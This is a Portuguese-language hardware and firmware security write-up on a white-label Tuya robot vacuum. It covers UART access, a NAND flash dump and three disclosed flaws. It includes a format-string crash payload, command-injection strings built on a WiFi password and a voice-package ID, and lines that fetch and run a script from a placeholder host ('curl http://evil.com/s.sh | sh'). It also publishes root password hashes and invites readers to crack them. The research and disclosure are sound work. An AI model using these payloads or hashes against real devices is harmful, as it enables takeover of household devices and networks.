1. Introdução

Comprei um robô aspirador vendido no Brasil como Kabum Smart 900. Dispositivo barato, com integração Tuya pra controle pelo app. WiFi, LiDAR, aspiração, mop, a proposta padrão do segmento de robôs conectados. Não comprei pra pesquisa. Comprei pra limpar a casa.

Uma coisa que vale dizer logo de cara, porque explica todas as strings que aparecem daqui pra frente: por fora a caixa diz Kabum Smart 900, mas por dentro o firmware se identifica como LDRobot LR852K, com a marca de consumo VeniiBOT. É white-label clássico. A Kabum vende sob marca própria um robô fabricado pela LDRobot (Shenzhen LDRobot), então o board, o framework de firmware (cleanpack3) e os domínios (veniibot.com) apontam todos pra LDRobot. Quando eu falar "LR852K" no resto do paper, é esse mesmo bicho na sua caixa da Kabum.

Depois de uns meses usando, comecei a pensar no que aquele dispositivo realmente fazia na minha rede. O app Tuya controla tudo: agenda, potência, mapeamento, pacotes de voz. O robô mantém uma conexão MQTT persistente com a nuvem Tuya (porta 8883 TLS, fallback 1883 plaintext). Recebe comandos, manda telemetria, aceita atualizações de firmware OTA. É um computador Linux rodando como root na minha rede doméstica, permanentemente conectado a um servidor chinês, com uma exposição que eu nunca tinha olhado.

Resolvi olhar.

O que se seguiu foram semanas de engenharia reversa: soldagem de fios em chip NAND sob lupa, dumps de 128 MB via SPI, luta contra o Allwinner NFTL que embaralha páginas e impede extração limpa de binários, fuzzing de data points Tuya, e análise estática de strings em ELFs parcialmente corrompidos. No final encontrei três vulnerabilidades. Uma format string confirmada, com DoS demonstrado, e duas injeções de comando OS fortemente inferidas a partir de evidências em rodata e scripts embarcados.

Também apelei para o reddit (https://www.reddit.com/r/hardwarehacking/comments/1vnpnzc/stuck_in_lowprivilege_uart_shell_on_liectroux_g7/) pois identifiquei os pinos de UART e o restante é desconhecido para mim. Vi que esses robôs geralmente possuem modo FEL e para isso utiliza uma porta USB OTG que não existe no meu. Também não consegui identificar os pads de d+/d- para tentar uma conexão direta via USB, que com modo FEL provavelmente deixaria esse post beeeeem menor e mais produtivo. Vida que segue.

Segue o fio.

2. Visão Geral do Dispositivo

O Allwinner R328 é um SoC de aplicação genérico, encontrado em caixas de som inteligentes, painéis de controle e aparelhos IoT de consumo. Roda ARM Cortex-A7, arquitetura ARMv7-A, com NEON. O firmware é baseado em Tina Linux, a distro OpenWrt que a Allwinner mantém pros seus SoCs. O toolchain é OpenWrt/Linaro GCC 6.4-2017.11, versão 6.4.1. Uma observação já aqui: o boot log do U-Boot reporta CPU a 1008 MHz, então uso esse número em vez do clock máximo de datasheet.

A flash é uma SPI NAND de 1 Gbit da XTX Technology, modelo XT26G01CWSIG. Package WSON8 (8x6 mm), com ECC de 8 bits on-die e spare area de 128 bytes por página. Isso é relevante porque SPI NAND não é SPI NOR. SPI NOR é linear, byte-endereçável, trivial de dumpar. SPI NAND opera em páginas de 2048 bytes com spare area, usa ECC interno, e no caso do Allwinner roda sobre NFTL (NAND Flash Translation Layer), uma camada de mapeamento página a página que embaralha a localização física dos dados. Isso vai ser o maior obstáculo da análise.

O build indica integração contínua Jenkins, com path de workspace apontando pra cleanpack3, que é o framework de firmware da LDRobot. O SDK de compilação em /home/peter/r328_sdk/ confirma que o firmware é compilado a partir do SDK oficial da Allwinner, provavelmente um R328 SDK Tina Linux.

3. Acesso Físico e UART

Abrindo o robô

Abrir um robô aspirador não é como abrir um roteador. Roteador tem dois parafusos, uns clipes e uma PCB. Robô aspirador tem parafusos escondidos sob adesivos, clips que parecem de encaixe mas são de pressão, e um empilhamento de módulos que dificulta enxergar o que é PCB principal e o que é PCB de motor.

Removi a tampa inferior, desparafusei o módulo LiDAR e cheguei na PCB principal. Encontrei um header JST de 9 pinos, não vazado, no canto da placa. Debug header clássico de produção, provavelmente o vendor usa pra diagnóstico em fábrica e nunca desabilitou.

Um detalhe interessante: Após abrir tudo, desmontar completamente, eu percebi que só de tirar a tampa superior e desparafusar o case do LIDAR eu teria acesso a esses pinos de debug lol (a imagem a seguir é um trabalho porco de solda após quebrar o JST, não leve a sério).

Identificação dos pinos

Sem silkscreen, fui por multímetro e por tentativa. Dos 9 pinos, identifiquei:

TX em idle marca 3.3 V constante e oscila durante o boot. RX puxa pull-up fraco. GND dá continuidade com o terra do chassis. Os outros pinos eu não investiguei além do voltímetro. Podem ser JTAG, GPIO de teste ou alimentação.

Conexão serial

Conectei via bridge usando um Flipper Zero em UART bridge, com os fios cruzados (TX do alvo no RX do bridge, e vice-versa). Baud rate 115200, configuração 8N1, que é o padrão pra Allwinner. Confirmei posteriomente pelo kernel cmdline que aparece no boot log:

console=ttyS0,115200

O boot log saiu limpo, legível, sem caracteres corrompidos. Capturei com tio:

tio -b 115200 -t -l --log-file ~/pesquisa/robo/uart_capture.log /dev/ttyUSB0

4. Reconhecimento Inicial

U-Boot

O boot começa com o banner do U-Boot Allwinner. Vi o log de inicialização do SoC, a configuração de DRAM, a detecção da NAND flash (xt26g01c identificado pelo driver). Tentei interromper o boot pra cair no CLI do U-Boot.

Não consegui.

Mandei Enter, Escape, Ctrl+C, espaço, toda combinação que conheço, durante a janela de boot. O bootloader simplesmente ignora. Provavelmente a janela de bootdelay está zerada ou a interrupção foi desabilitada no build. Sem acesso ao CLI do U-Boot, perdi a capacidade de dumpar flash por md.b (como fiz no TP-Link RE305), de inspecionar o environment e de fazer TFTP boot. O robô boota direto pro Linux.

Shell de guest

Quando o Linux termina de bootar, o console UART cai num prompt de login. Testei combinações padrão. Root pede senha. Tentei as clássicas de dispositivos chineses: admin, root, 1234, 12345, password, toor, senha vazia. Nenhuma funcionou.

Insanamente, o robô mesmo sendo chinês não tinha uma senha padrão como as vistas no mercado. Em roteadores baratos da Tenda, da Intelbras, do mercado genérico, a senha root é admin ou vazia. Aqui não. Alguém no time da LDRobot fez o mínimo de segurança e colocou uma senha real no root.

Tentei guest. Sem senha. Entrou.

O shell do guest é extremamente restrito. Não é um BusyBox completo, não é um sh funcional. Dos comandos que testei:

• ls, cat, echo funcionam

• ps, top, netstat inexistentes ou bloqueados

• cd / funciona, mas a maioria dos diretórios relevantes (/proc, /sys, /dev) tem permissões limitadas

• id retorna uid=500(guest), sem nenhum grupo privilegiado

• su root su não é um suid e não funciona.

• qualquer tentativa de acessar binários do sistema ou listar processos é bloqueada

É a diferença entre ter um shell e ter acesso. O guest vê quase nada. Os binários interessantes (network_proxy_2, CleanPackApp) rodam como root e não são legíveis pelo guest. Os diretórios de configuração em /userdata/ têm permissões restritas. Consegui ver o hostname, a versão de firmware (mr112-LR852K-0_1_12-Release-UDisk) e pouco mais.

A limitação do shell de guest foi o que me empurrou pro caminho do dump de flash. Se eu tivesse root, poderia ter feito dd if=/dev/mtdX e extraído tudo limpo. Sem root, a única opção era ir pro hardware.

5. Extração de Firmware

O chip

A flash é um XT26G01CWSIG da XTX Technology. SPI NAND, 1 Gbit (128 MB), package WSON8 (8x6 mm). WSON8 é um package plano, sem pinos expostos. Os contatos são pads na parte inferior do chip, rente à PCB.

Tentativa com clip (fracasso)

Primeira tentativa foi a abordagem rápida: programador CH341A com clip SOP8/WSON8, leitura in-circuit sem dessoldar. Funciona perfeitamente em SPI NOR com package SOP8, onde os pinos ficam expostos nas laterais do chip e o clip agarra bem.

WSON8 é outra história. Os pads ficam embaixo do chip. O clip de teste que eu tinha simplesmente não conseguia fazer contato confiável. Encostava em um pad, perdia outro. Às vezes lia lixo, às vezes não detectava o chip. Perdi horas tentando posicionar o clip de formas criativas. Não funcionou.

Para complicar ainda mais, toda a placa é revestida com um plástico/silicone que provavelmente seja para proteger a placa de umidade e água (o robô passa pano).

Soldagem in-circuit

A solução foi soldar fios diretamente nos pads do chip. Com o chip ainda montado na PCB (in-circuit), soldei micro fios esmaltados nos 8 pads do WSON8 usando ferro de solda com ponta fina e auxílio de lupa. Cada fio com menos de 1 cm entre o pad e um ponto de ancoragem na PCB, pra evitar que tensão mecânica arrancasse a solda.

Os sinais relevantes pra leitura SPI:

Nada fancy, mas funciona.

A leitura in-circuit tem um risco: o SoC também está conectado aos mesmos pinos SPI. Se o SoC estiver ativo, ele pode driving o barramento e corromper a leitura. A mitigação é manter o SoC em reset durante a leitura, ou pelo menos garantir que ele não esteja driving os pinos SPI. No meu caso, alimentei o chip pela 3.3 V do CH341A com o robô desligado. O regulador principal do robô ficou inativo, então o SoC não tinha alimentação pra interferir. Funcionou, mas é a abordagem rude. Em cenários mais limpos, dessoldar o chip seria mais seguro.

SNANDer e o dump

Usei o SNANDer, ferramenta open-source de leitura e escrita de SPI NAND (além de NOR e EEPROM) via CH341A, pra ler a flash. O SNANDer suporta SPI NAND, detectou o XT26G01CWSIG pelo JEDEC ID e fez o dump completo de 128 MB:

./SNANDer -r dump.bin

O dump levou uns 20 minutos. 128 MB de dados brutos, incluindo a spare area de 128 bytes por página (usada pra ECC e metadados do NFTL).

Validação: dois dumps

Fiz dois dumps independentes (desconectei, reconectei, re-dumpei) e comparei:

sha256sum dump.bin dump2.bin
# 00ea975770c88095c2c780b02b3b675879ef104078cf41e14647a43c12c08fa8  dump.bin
# 00ea975770c88095c2c780b02b3b675879ef104078cf41e14647a43c12c08fa8  dump2.bin

Checksums idênticos. A leitura é determinística e a soldagem está boa. Se houvesse contato intermitente ou interferência do SoC, os dumps divergiriam. Dois dumps iguais significam leitura confiável.

6. Análise do Firmware

O problema do NFTL

Aqui começou o inferno.

Em dispositivos com SPI NOR (como o TP-Link RE305 que analisei antes), a flash é linear. Byte 0 do dump é o byte 0 da flash. Binwalk roda, extrai squashfs, pronto. Análise direta.

Em dispositivos com SPI NAND sob Allwinner, a história é completamente diferente. O Allwinner usa um NFTL proprietário que faz mapeamento página a página. As páginas lógicas que o sistema operacional vê não estão nas mesmas posições físicas no chip. O NFTL redistribui páginas pra wear leveling, bad block management e garbage collection. O dump bruto que eu tenho é a visão física da flash, com as páginas embaralhadas.

Na prática, isso significa que:

1. Strings em rodata são legíveis. Strings de texto ficam dentro de páginas individuais, e a maioria cabe em uma única página de 2048 bytes. O NFTL embaralha a ordem das páginas, mas o conteúdo de cada página está intacto. strings no dump bruto funciona perfeitamente.

2. Binários ELF não são extraíveis de forma limpa. Um ELF de 1.9 MB ocupa centenas de páginas. O NFTL embaralha a ordem dessas páginas. Os headers ELF ficam na primeira página (intactos), mas as seções de código (.text) estão distribuídas em páginas fora de ordem. O binário não disassembla corretamente.

3. O filesystem UBI/UBIFS não é montável. O dump bruto não contém os metadados OOB no formato que o ubireader espera. Seria necessário um dump com os dados OOB separados, ou acesso ao device vivo pra extrair via dd das partições MTD.

Essa é a razão pela qual as vulnerabilidades de injeção de comando estão classificadas como STRONGLY INFERRED em vez de CONFIRMED. Eu consigo ver as strings formatadoras, os imports de system(), a ausência de sanitização, mas não consigo disassemblar o fluxo de instruções pra provar que snprintf alimenta system() diretamente, porque as páginas de código estão embaralhadas pelo NFTL.

O que funcionou

Apesar do NFTL, a análise estática por strings foi extremamente produtiva. O dump de 128 MB contém toda a informação textual do firmware:

• Source annotations. Paths completos de arquivos-fonte como network_proxy_2/src/base/wifi_config_base.cpp e network_proxy_2/src/logic/voice_package.cpp. O compilador embarcou as anotações de __FILE__ nos binários.

• Format strings. Comandos shell completos como sh /data/bin/cleanpack_mode -m sta -s "%s" -p "%s" e rm -rf %s/%s && tar -zxf %s/%s -C %s && cp %s/Q001.mp3 %s/.

• Log messages. Strings de debug que documentam o fluxo: "wifi cmd %s", "voicd package apply cmd: %s", "wifi pwd is less than 8 char".

• Import tables. As tabelas de símbolos dinâmicos dos ELFs ficam nas primeiras páginas e sobrevivem ao NFTL. Pude listar imports como system(), __snprintf_chk, __printf_chk, __stack_chk_fail.

• Shell scripts. Scripts embarcados no filesystem aparecem como texto plano no dump. Encontrei cleanpack_mode, scripts de boot, configs do sistema.

• Password hashes. O /etc/shadow aparece em texto claro no dump.

O NFTL também causa duplicação. O wear leveling copia páginas pra diferentes blocos físicos, então a mesma string aparece em múltiplos offsets do dump. Isso inicialmente confunde (por que a string aparece 5 vezes?), mas na prática funciona como confirmação. Se um format string aparece em 5 offsets distintos com o mesmo conteúdo, é certamente código de produção, não dead code nem string remanescente de uma versão anterior.

Extração parcial de ELFs

Consegui extrair ELFs parciais buscando por magic bytes (\x7fELF) no dump e recortando a partir daí. Os headers ELF, program headers e tabelas de símbolos ficam no início do arquivo e geralmente estão na mesma página ou em páginas consecutivas que por acaso não foram reorganizadas. Extraí 25 binários únicos, dos quais os mais relevantes:

Os headers e imports desses ELFs são legíveis. As seções de código não são. As instruções ARM estão em páginas embaralhadas. É possível disassemblar trechos individuais de uma página, mas não reconstituir o fluxo de controle entre páginas.

Ferramentas

• SNANDer. Dump da SPI NAND via CH341A.

• strings + grep. Análise principal de rodata e scripts embarcados.

• hexdump / xxd. Inspeção binária de offsets específicos.

• readelf. Leitura de headers e import tables dos ELFs extraídos.

• Python. Scripts de extração e correlação de offsets.

• Radare2. Tentativa de disassembly, limitada pelo NFTL.

7. Postura de Segurança da Plataforma

Antes de entrar nas vulnerabilidades específicas, vale documentar o que a plataforma faz certo e o que não faz. Isso contextualiza o impacto real de cada achado.

FORTIFY_SOURCE, presente e ativo

O toolchain GCC 6.4 compilou os binários com FORTIFY_SOURCE. Confirmei pela presença de funções hardened nas tabelas de importação.

network_proxy_2 (daemon principal):

__memcpy_chk
__printf_chk
__snprintf_chk
__sprintf_chk
__vsnprintf_chk
__strcpy_chk
__stack_chk_fail
__stack_chk_guard

voice package library:

__fdelt_chk
__memcpy_chk
__snprintf_chk
__stack_chk_fail
__stack_chk_guard

As funções _chk são as versões hardened da glibc que verificam buffer overflows e format string abuse em runtime. __stack_chk_fail e __stack_chk_guard são o mecanismo de stack canary. A presença desses símbolos nos imports dinâmicos significa que eles são de fato chamados, não é código morto.

Isso tem implicação direta na VD-01 (format string). O %n em format strings controladas pelo atacante é bloqueado pelo FORTIFY. A glibc detecta %n em segmento writable e chama abort(), produzindo SIGABRT em vez de SIGSEGV. O impacto é DoS (crash), não RCE (execução de código). Mais detalhes na seção da vulnerabilidade.

O que está ausente

• Nenhuma sanitização de entrada pra shell commands. Não encontrei nenhuma função com nome sugestivo de sanitização (escap, sanitiz, filter, quot, shell) nos binários analisados. Os format strings de comando shell usam %s direto.

• Verificação de integridade de pacotes só com MD5. Downloads de pacotes de voz são verificados com MD5 apenas. Sem assinatura criptográfica (RSA, ECDSA, Ed25519). MD5 não é verificação de autenticidade.

• Root everywhere. Os serviços principais rodam como root. O network_proxy_2 processa dados de rede como root. O system() que ele chama executa como root. Não há separação de privilégios, não há containers, não há seccomp. Compromisso do daemon é root completo no device.

GCC e toolchain

OpenWrt/Linaro GCC 6.4-2017.11 6.4.1

GCC 6.4 é de 2017. Não é antigo a ponto de ser escandaloso (já vi kernel 2.6.36 de 2010 no TP-Link RE305), mas está a várias gerações major de distância das mitigações modernas. O -fstack-protector-strong está presente (evidenciado pelos canaries), o FORTIFY_SOURCE está presente (nível 1 ou 2), mas mitigações como CFI (Control Flow Integrity) e shadow call stacks exigem GCC 8+ ou Clang.

8. VD-01: Format String em Tuya dpid 127

CWE: CWE-134 (Use of Externally-Controlled Format String) Confiança: CONFIRMED, DoS demonstrado com 3 crashes independentes CVSS 3.1: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

Contexto

O protocolo Tuya define "data points" (dpids) como canais de dados entre o app e o dispositivo. Cada dpid tem um ID numérico e transporta dados em formato JSON. O dpid 127 é usado pelo LR852K pra receber informações do app, processadas pelo handler HandleRawData no daemon network_proxy_2.

Descoberta

Montei um harness de fuzzing que enviava payloads variados pro dpid 127 e observava o comportamento do daemon pelo log serial. Strings longas, JSON aninhado, caracteres especiais, SQL injection, path traversal, integer overflow, e format specifiers. Dos 30+ payloads enviados, a maioria foi processada normalmente.

Os payloads com %n causaram crash imediato.

Crashes documentados

Sessão de fuzz em 19 de maio de 2026, 06:36 às 06:47 UTC:

O crash log extraído do dump NAND (byte offset 27531686):

06:38:38.780 — Sent: {"fmt": "%n%n%n%n%n%n%n%n"} via dpid 127, infoType 21030
06:38:38.928 — Process crashed: thread info dump (utils.cpp:394)
               /tmp/AppRom/libsoc.so(+0x69434) [0xb6ec9434]
               /lib/libc.so.6(__default_sa_restorer+0) [0xb687f450]
06:38:39.192 — [NP 2026/5/19 06:38:39.192 F][main.cpp:28] Network Proxy Start.

O Network Proxy Start 264 ms depois do crash confirma o restart automático pelo system_monitor.

Controles negativos

Payloads que NÃO causaram crash:

• %99999999s processado normalmente (tentativa de ler muitos bytes da stack, mas sem write)

• $(id) processado como string literal

• `id` idem

• ;id; idem

• ../../../etc/passwd idem

• INT64_MIN, 2^128 processados sem erro

• JSON aninhado profundo processado

• Buffer de 4096 "A"s processado

• ' OR 1=1 -- processado

Nenhum payload sem %n causou crash. A especificidade é diagnóstica: %n é o único format specifier que escreve na memória, os outros só leem. O fato de que somente %n causa crash, em todos os testes, confirma sem ambiguidade que dados do usuário estão sendo passados como format string pra uma função da família printf.

Multi-field

O crash #3 usou %n no campo "ts" do envelope JSON, não no campo "data". Múltiplos campos JSON são vulneráveis. O parser provavelmente itera sobre os campos e processa cada valor com a mesma função de logging ou processamento que usa o valor como format string.

Análise do sinal: SIGABRT, não SIGSEGV

Os três crashes produziram SIGABRT (sinal 6). Se %n estivesse de fato escrevendo em memória (a primitiva de RCE clássica de format string), o sinal seria SIGSEGV (sinal 11), escrita em endereço inválido derivado da stack.

SIGABRT significa que algo chamou abort() antes do write acontecer. Quem faz isso é a glibc com FORTIFY_SOURCE: quando __printf_chk (ou __vsnprintf_chk, etc.) detecta %n em um format string que reside em segmento writable (stack, heap), ela aborta com a mensagem *** %n in writable segment detected ***.

Confirmação via import table do network_proxy_2:

__printf_chk        (printf hardened pelo FORTIFY)
__snprintf_chk      (snprintf hardened)
__sprintf_chk       (sprintf hardened)
__vsnprintf_chk     (vsnprintf hardened)

O fluxo é:

Dados do usuário com %n
  -> passados como format string
__printf_chk() ou __vsnprintf_chk()
  -> detecta %n em segmento writable
  -> glibc chama abort()
SIGABRT
  -> process crash
system_monitor detecta
  -> restart automático (~260 ms)

Implicação. A vulnerabilidade de format string é real, dados do usuário SÃO o format string. Mas a primitiva de escrita (%n) está bloqueada pelo FORTIFY. O impacto confirmado é DoS: crash repetível, automático, via rede. RCE via %n por esta via específica é improvável.

Vetor de ataque

O dpid 127 é acessível via Tuya MQTT (internet). Qualquer usuário do app com acesso ao dispositivo (PR:L, precisa de conta Tuya vinculada) pode enviar payloads arbitrários pro dpid 127. Cada %n causa crash, e o daemon reinicia em ~260 ms. Enviando payloads mais rápido que o ciclo de restart, um atacante mantém DoS persistente. O robô fica inacessível, não responde a comandos, perde conectividade.

CVSS

AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H = 6.5

• AV:N. Acessível pela internet via MQTT Tuya.

• AC:L. Trivial, o payload é uma string JSON.

• PR:L. Precisa de conta Tuya com acesso ao dispositivo.

• UI:N. Sem interação do usuário necessária.

• C:N/I:N. FORTIFY bloqueia a primitiva de escrita, sem leak e sem modificação confirmados.

• A:H. Crash completo do processo, repetível.

9. VD-02: Injeção de Comando OS via WiFi SSID/Password

CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command) Confiança: STRONGLY INFERRED, evidência de strings + imports + script independente; disassembly bloqueado pelo NFTL CVSS 3.1: 7.1 (AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)

Contexto

Quando o app Tuya configura o WiFi do robô, ele envia SSID e senha via protocolo LAN Tuya (porta 6668). O robô recebe esses valores, interpola num comando shell e executa via system().

Evidência no binário (network_proxy_2)

As strings seguintes foram encontradas no rodata do binário principal, em offsets múltiplos (5+ cópias NFTL):

Offset 0xae2264: "wifi_control.cpp"
Offset 0xae22c8: "called %s, ssid %s, pwd %s"
Offset 0xae2328: "wifi pwd is less than 8 char"
Offset 0xae2348: "wifi pwd is more than 64 char"
Offset 0xae2368: "WifiControl::Connect2Ap over(bg exec)"
Offset 0xae242c: sh /data/bin/cleanpack_mode -m sta -s "%s" -p "%s"
Offset 0xae2498: sh /data/bin/cleanpack_mode -m sta -s "%s" -p "%s" --segment="%s" --hide="%d"
Offset 0xae254c: "wifi cmd %s"
Offset 0xae25e0: "WifiControl::ResetWifi,cmd [%s]"

O padrão é clássico:

1. A função WifiControl::Connect2Ap recebe SSID e senha.

2. Valida apenas o comprimento da senha (8 a 64 caracteres), sem filtro de caracteres.

3. Interpola via snprintf no template sh /data/bin/cleanpack_mode -m sta -s "%s" -p "%s".

4. Loga o comando construído como "wifi cmd %s".

5. Passa pra system().

A tabela de imports confirma: system() presente no PLT, __snprintf_chk presente. Sem imports de exec* ou posix_spawn. Sem strings de sanitização no binário inteiro.

Evidência no script cleanpack_mode (dump offset 0x48cfc09)

O script shell que recebe o comando confirma a ausência de sanitização:

-s | --ssid)
    AP_STA_SSID=$2    # atribuição direta, sem filtro
    shift 2
    ;;

Usado depois como:

/data/bin/ap_client "$AP_STA_SSID" "$AP_STA_PWD"
echo "$AP_STA_SSID" >/data/cfg/ap_name
sh /data/bin/apDemo --ssid="$AP_STA_SSID" ...

As aspas duplas em torno de $AP_STA_SSID não previnem injeção de comando. Em shell, "$var" previne word splitting e globbing, mas não previne substituição de comando ($(cmd)) nem a quebra de aspas se o valor contém ".

Mecanismo de injeção

O format string C coloca SSID e senha entre aspas duplas: -s "%s" -p "%s". Uma aspa dupla no valor quebra a delimitação:

Senha:     12345678"; id; echo "
Comando:   sh /data/bin/cleanpack_mode -m sta -s "SSID" -p "12345678"; id; echo ""
Shell vê:  cleanpack_mode (com -p "12345678"), depois id, depois echo ""

O campo de senha como vetor preferido

O SSID tem limitação de 32 bytes pelo padrão IEEE 802.11, provavelmente enforced pelo wpa_supplicant downstream. Mas a senha tem validação explícita de 8 a 64 caracteres no código, e nenhuma validação de conteúdo. Um payload de 21 caracteres como 12345678"; id; echo " satisfaz o requisito de comprimento mínimo e injeta comando arbitrário. A senha oferece até 64 caracteres de espaço pra payload, mais que suficiente pra $(curl evil|sh).

Classificação de evidência

Caveats

• A cadeia snprintf -> system() é inferida pela sequência de rodata e imports, não por trace de instruções ARM. A mesma limitação do NFTL.

• O app Tuya ou o SDK podem filtrar caracteres especiais do SSID/senha antes de enviar. Isso mitigaria o vetor via app, mas não via API LAN direta.

• O vetor é rede adjacente (LAN, porta 6668). Durante o modo AP de pareamento, não é necessário o localKey Tuya, e qualquer dispositivo na rede pode enviar comandos.

CVSS

AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 7.1

• AV:A. Adjacência LAN ou proximidade em AP-mode.

• PR:L. Precisa do localKey Tuya, exceto durante pareamento.

• C:H/I:H. Se a injeção executa, é root shell no device.

10. VD-03: Injeção de Comando OS via Nome de Pacote de Voz

CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command) Confiança: STRONGLY INFERRED, evidência de strings + script independente + imports; disassembly bloqueado pelo NFTL CVSS 3.1: 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)

Contexto

O robô suporta pacotes de voz customizáveis, frases em diferentes idiomas pra anunciar status ("limpeza iniciada", "voltando pra base", etc.). Os pacotes são baixados via MQTT da nuvem Tuya, verificados apenas com MD5, e o nome/ID do pacote é interpolado sem sanitização em comandos rm, tar, cp e mv que são passados pra system().

Evidência na biblioteca de voz (~100 KB, ELF dinâmico)

Offset 0xa018: rm -rf %s/%s && tar -zxf %s/%s -C %s && cp %s/Q001.mp3 %s/
Offset 0x9fc4: "mv voice package to save cmd is"
Offset 0xa0bc: "voicd package apply cmd: %s"    (o typo 'voicd' é do binário original)
Offset 0xa0e8: "mv  package to tmp cmd is: %s"
Offset 0xa054: network_proxy_2/src/logic/voice_package.cpp
Offset 0xa208: {"voip_cur" : "%s"}

O fluxo de dados:

Tuya Cloud (MQTT 8883/TLS ou 1883/plaintext)
  -> comando "downloadAndApply" com metadata do pacote de voz
VoicePackageBase::DownloadFileCheckAndApply()
  source: network_proxy_2/src/base/voice_package_base.cpp
  -> download pra /tmp/voip_tmp
HttpsBase::DownloadAndCheck()
  verificação: MD5 only (sem assinatura)
  -> move pra /userdata/cfg/music/sys/<pkg_id>
voice_package.cpp, construção do comando shell:
  rm -rf %s/%s && tar -zxf %s/%s -C %s && cp %s/Q001.mp3 %s/
  logado como: "voicd package apply cmd: %s"
  -> system()
Execução como root

Verificação de download: só MD5

Offset 0xc844: "DownloadAndCheck, %s url is > %s : md5sum is > %s"
Offset 0xc96c: "DownLoadAndCheck md5 success"
Offset 0xc98c: "DownLoadAndCheck md5 error! should be:%s now:%s"

Sem RSA, ECDSA, Ed25519 ou qualquer string relacionada a assinatura criptográfica no path de verificação. MD5 verifica integridade contra corrupção de rede, não autenticidade. Um atacante que controle o conteúdo da resposta pode fornecer qualquer pacote com MD5 válido.

Confirmação independente: script de boot (dump offset 0xa1bc00)

Um script de boot separado, que não faz parte do binário network_proxy_2, lê o config do pacote de voz e usa o ID diretamente em tar:

musicId=$(cat /userdata/cfg/music_cfg | grep voip_cur | awk -F'"' '{print $4}')
tar -zxf "/userdata/cfg/music/$musicId" -C /userdata/music

O $musicId vem do arquivo music_cfg, que é escrito pelo voice_package.cpp após download: {"voip_cur" : "%s"} (offset 0xa208). Essa é uma confirmação independente, um code path completamente separado que consome o mesmo dado sem sanitização.

Restrição do awk. O awk -F'"' '{print $4}' usa aspas duplas como delimitador. Isso significa que o musicId não pode conter aspas duplas (elas quebrariam a extração do campo). Mas $(curl evil.com/s.sh | sh) não contém aspas duplas e funciona perfeitamente como substituição de comando em shell.

Mecanismo de injeção

Se o ID do pacote de voz contém metacaracteres shell:

Package ID:  x; curl http://evil.com/s.sh | sh; echo
Resultado:   rm -rf /userdata/cfg/music/sys/x; curl http://evil.com/s.sh | sh; echo && tar ...
Shell vê:    rm, depois curl|sh (payload do atacante), depois echo

Vetor de ataque

Primário. Compromisso de conta Tuya cloud ou acesso à API de desenvolvedor. O metadata do pacote de voz (incluindo o ID usado como nome de arquivo) vem da nuvem Tuya. Se um atacante controla a resposta MQTT, controla o ID do pacote.

Secundário. MITM no fallback plaintext. O MQTT primário usa TLS na porta 8883, mas existe fallback HTTP em http://a.tuyacn.com:80/d.json e MQTT plaintext na porta 1883. Nesses paths, um MITM pode injetar metadata de pacote.

Classificação de evidência

CVSS

AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H = 8.1

• AV:N. Acessível via cloud MQTT.

• AC:H. Requer comprometimento de conta cloud ou posição MITM.

• PR:N. Sem autenticação device-side pra pacotes OTA.

• C:H/I:H/A:H. Root shell no device.

11. Hashes de Senha Root

No dump NAND, encontrei entradas de /etc/shadow com hashes MD5crypt ($1$). São três hashes distintos, provavelmente de diferentes partições ou snapshots de filesystem dentro do NFTL:

root:$1$Ch3Jcvh9$2Q5Xng4bPbNnsQfTQpgcY.:0:0:99999:7:::
root:$1$JgO2yeod$HMMdc31757YjIEIeeARyQ/:0:0:99999:7:::
guest:$1$AzV2bLNj$GzHUVc2WOXyfiA6gWVkRF/:0:0:99999:7:::

MD5crypt. $1$. O algoritmo mais fraco que ainda aparece em sistemas Linux modernos. SHA-512crypt ($6$) é o padrão desde 2008. SHA-256crypt ($5$) é aceitável. MD5crypt é breakável por força bruta a taxas de milhões de tentativas por segundo em GPU moderna.

Duas hashes diferentes pra root sugerem que a senha foi alterada entre builds de firmware, ou que há múltiplos filesystems na NAND (partição ativa, partição de fallback, snapshot). O hash do guest confirma o que eu já sabia, conta com senha fraca ou vazia.

Não consegui quebrar os hashes do root com wordlists padrão (rockyou.txt, SecLists/Passwords). A senha não é trivial, o que é consistente com a observação de que o vendor não usou senhas-padrão genéricas. Mas MD5crypt com salt de 8 caracteres não resiste a um ataque focado com hashcat em GPU. É questão de tempo e compute.

Deixo os hashes aqui pra quem estiver "feeeling lucky". Se alguém quebrar, a recompensa é root completo no console UART de qualquer LR852K que tenha esse firmware.

12. Caminho para Confirmação Completa

As duas vulnerabilidades de injeção de comando (VD-02 e VD-03) estão classificadas como STRONGLY INFERRED porque a cadeia snprintf -> system() não pôde ser verificada por trace de instruções ARM. A causa é o NFTL, que embaralha as páginas de código.

Existem dois caminhos pra converter de INFERRED pra CONFIRMED:

1. Dump com OOB data. Dumpar a NAND incluindo os dados out-of-band (spare area de 128 bytes por página) no formato que o ubireader espera. Isso permitiria reconstruir o mapeamento lógico-físico do NFTL e montar o filesystem UBIFS, extraindo binários limpos pra disassembly completa.

2. dd no device vivo. Se alguém obtiver root (por bruteforce do hash MD5crypt, por exploit serial ou por outra via), um simples dd if=/dev/mtdblockX of=/tmp/partition.bin extrairia as partições com mapeamento lógico já resolvido pelo kernel. Os ELFs sairiam limpos.

VD-01 (format string) já é CONFIRMED, com crashes documentados por logs do NAND e padrão inequívoco de comportamento.

13. Reflexões

O modelo de ameaça de verdade

Alguém pode olhar pra isso e perguntar: "mas por que caralhos alguém iria pegar meu robô e fazer um dump complicado?". É uma pergunta válida, e a resposta é que as vulnerabilidades sérias (VD-01, VD-02, VD-03) não exigem acesso físico ao robô.

VD-01 é um DoS pela internet, qualquer pessoa com acesso à conta Tuya do dispositivo pode crashar o daemon de rede remotamente, repetidamente. VD-02 é injeção de comando pela rede local, durante o pareamento WiFi ou com o localKey Tuya. VD-03 é injeção de comando pela internet, via comprometimento da nuvem Tuya ou MITM no fallback plaintext.

O dump físico foi o método de descoberta, não o método de ataque. Eu precisei extrair o firmware pra encontrar as vulnerabilidades. Um atacante não precisa do firmware pra explorá-las.

Aspirador conectado é um computador Linux na sua rede

